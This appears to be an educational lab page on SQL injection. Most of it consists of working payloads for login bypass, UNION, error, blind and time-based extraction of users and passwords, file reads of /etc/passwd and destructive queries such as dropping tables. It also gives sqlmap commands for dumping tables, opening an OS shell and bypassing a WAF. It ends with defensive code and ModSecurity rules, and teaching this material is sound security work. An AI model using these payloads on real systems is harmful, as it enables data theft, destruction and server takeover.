Dark Arts Vault - Web Application Exploitation
Lab Progress
This laboratory is designed for educational purposes only. SQL Injection is a critical vulnerability that affects real-world systems. You must ONLY test SQL injection techniques on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. Use this knowledge responsibly to defend systems, not to harm them.
SQL Injection (SQLi) is a code injection technique that exploits security vulnerabilities in an application's database layer. It occurs when user-supplied input is inserted into SQL queries without proper sanitization or parameterization, allowing attackers to manipulate the query logic.
Consider a vulnerable login query:
SELECT * FROM users WHERE username='$username' AND password='$password'
If an attacker inputs: ' OR '1'='1 as username, the query becomes:
SELECT * FROM users WHERE username='' OR '1'='1' AND password=''
Since '1'='1' is always true, this bypasses authentication!
SQL injection can occur in multiple locations where user input interacts with the database:
Most common and easiest to test. Parameters passed in the URL.
http://example.com/product.php?id=1' OR 1=1--
Data submitted through forms (login, search, registration).
username=admin' --&password=anything
Less common but often overlooked. User-Agent, Referer, X-Forwarded-For, etc.
User-Agent: Mozilla/5.0' UNION SELECT 1,2,3--
Session data or tracking cookies that interact with the database.
Cookie: session=abc123' OR 1=1--
Exploits database error messages to extract information about the database structure. When applications display verbose error messages, attackers can learn table names, column names, and even data values.
-- Force an error to reveal database version
' AND 1=CONVERT(int, @@version) --
-- Extract data through error messages (MySQL)
' AND extractvalue(1, concat(0x7e, (SELECT @@version))) --
-- Extract table names
' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --
Uses the UNION SQL operator to combine results from the original query with results from injected queries. This is one of the most powerful SQLi techniques for data extraction.
-- Method 1: Using ORDER BY
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- (keep increasing until error)
-- Method 2: Using UNION SELECT
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL -- (keep adding NULL until success)
' UNION SELECT 'a',NULL,NULL --
' UNION SELECT NULL,'a',NULL --
' UNION SELECT NULL,NULL,'a' --
-- Get database version
' UNION SELECT @@version,NULL,NULL --
-- Get database name
' UNION SELECT database(),NULL,NULL --
-- Get all table names
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables --
-- Get column names from specific table
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users' --
-- Extract data from users table
' UNION SELECT username,password,email FROM users --
When the application doesn't display database errors or query results, but behaves differently based on whether the injected query returns TRUE or FALSE. Attackers can extract data one bit at a time by asking TRUE/FALSE questions.
-- Test if injection works (page should load normally)
' AND 1=1 --
-- Test if injection works (page should behave differently)
' AND 1=2 --
-- Check if database name starts with 'a'
' AND SUBSTRING(database(),1,1)='a' --
-- Check length of admin password
' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=8 --
-- Extract first character of admin password
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64 --
The most stealthy technique. When the application shows no visible difference for TRUE/FALSE conditions, attackers can use time delays to infer information. If the query is TRUE, the database waits; if FALSE, it responds immediately.
-- MySQL: If true, delay 5 seconds
' AND IF(1=1, SLEEP(5), 0) --
-- PostgreSQL: Delay 5 seconds
' AND pg_sleep(5) --
-- SQL Server: Delay 5 seconds
' AND WAITFOR DELAY '00:00:05' --
-- Extract database name first character
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
-- Check if admin exists
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0) --
Practice SQL injection techniques in this simulated vulnerable login form. Try different payloads and see how the backend would respond.
Backend Query: SELECT * FROM users WHERE username='$INPUT' AND password='$INPUT'
' OR '1'='1' -- - Classic authentication bypassadmin' -- - Comment out password check' UNION SELECT 1,2,3 -- - Union-based injection' AND 1=1 -- - Boolean-based test (TRUE)' AND 1=2 -- - Boolean-based test (FALSE)A systematic approach to discovering and exploiting SQL injection vulnerabilities:
-- Test for vulnerability with single quote
'
-- Test with comment characters
' --
' #
'/*
-- Boolean tests
' AND 1=1 --
' AND 1=2 --
-- Time-based detection
' AND SLEEP(5) --
-- Identify database type
' AND @@version -- (SQL Server)
' AND version() -- (PostgreSQL/MySQL)
-- MySQL specific
' AND SUBSTRING(@@version,1,1)='5' --
-- Count tables
' AND (SELECT COUNT(*) FROM information_schema.tables)>0 --
-- ORDER BY enumeration (find column count)
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- (increase until error)
-- Extract database names
' UNION SELECT schema_name,2,3 FROM information_schema.schemata --
-- Extract table names
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database() --
-- Extract column names
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' --
-- Extract user credentials
' UNION SELECT username,password,email FROM users --
-- Concatenate multiple columns
' UNION SELECT CONCAT(username,':',password),2,3 FROM users --
-- Read files (if privileges allow)
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 --
Common SQL injection payloads organized by purpose:
' OR '1'='1' --
admin' --
' OR 1=1 #
Bypasses login by making the WHERE clause always true
' UNION SELECT 1,2,3 --
' UNION SELECT NULL,NULL,NULL --
' UNION SELECT @@version,2,3 --
Combines results from injected query with original
' UNION SELECT table_name,2,3 FROM information_schema.tables --
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' --
Extracts database structure information
' UNION SELECT username,password,email FROM users --
' UNION SELECT CONCAT(username,':',password),2,3 FROM users --
Retrieves sensitive data from tables
' AND 1=1 --
' AND SUBSTRING(database(),1,1)='a' --
' AND (SELECT COUNT(*) FROM users)>5 --
Infers information through TRUE/FALSE responses
' AND IF(1=1, SLEEP(5), 0) --
' AND WAITFOR DELAY '00:00:05' --
'; WAITFOR DELAY '00:00:05' --
Uses time delays to extract information
--
#
/**/
Different comment styles for various databases
'; DROP TABLE users --
'; INSERT INTO users VALUES ('hacker','pass123') --
Execute multiple SQL statements (if supported)
The most powerful open-source SQL injection and database takeover tool.
# Test a GET parameter
sqlmap -u "http://example.com/page.php?id=1"
# Test POST data
sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"
# Enumerate databases
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Enumerate tables in specific database
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
# Dump specific table
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T users --dump
# Test with cookies
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=abc123"
# Use Burp Suite request file
sqlmap -r request.txt
# Advanced: OS shell (if privileges allow)
sqlmap -u "http://example.com/page.php?id=1" --os-shell
--level=5 - Increase test depth (1-5)--risk=3 - Increase test risk (1-3)--batch - Never ask for user input, use defaults--random-agent - Use random User-Agent--threads=10 - Increase speed with threads--tamper=space2comment - Use tamper scripts to bypass WAFIndustry-standard web application security testing platform.
| Tool | Purpose | Best For |
|---|---|---|
| jSQL Injection | GUI-based SQLi tool | Beginners, visual interface |
| NoSQLMap | NoSQL injection | MongoDB, CouchDB testing |
| Havij | Automated SQLi | Windows users, GUI |
| BBQSQL | Blind SQLi framework | Time-based exploitation |
Protecting applications from SQL injection requires multiple layers of defense:
The most effective defense. Separates SQL logic from data.
// VULNERABLE CODE (PHP)
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// SECURE CODE (PHP with PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$username, $password]);
// SECURE CODE (Python)
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))
// SECURE CODE (Java)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username=? AND password=?");
stmt.setString(1, username);
stmt.setString(2, password);
Only allow known-good characters. For example, if expecting a number, only allow digits:
// PHP example
if (!preg_match('/^[0-9]+$/', $id)) {
die("Invalid ID");
}
// Python example
if not id.isdigit():
raise ValueError("Invalid ID")
If parameterized queries aren't possible (legacy code), escape special characters:
// PHP
$username = mysqli_real_escape_string($conn, $username);
// Note: This is NOT recommended as primary defense!
# ModSecurity Rule Examples
SecRule ARGS "@detectSQLi" "deny,status:403,msg:'SQL Injection Attempt'"
# Block common SQLi patterns
SecRule ARGS "@rx (\bunion\b.*\bselect\b|\bor\b.*=.*)" "deny"
Test your understanding of SQL injection concepts. Select the best answer for each question.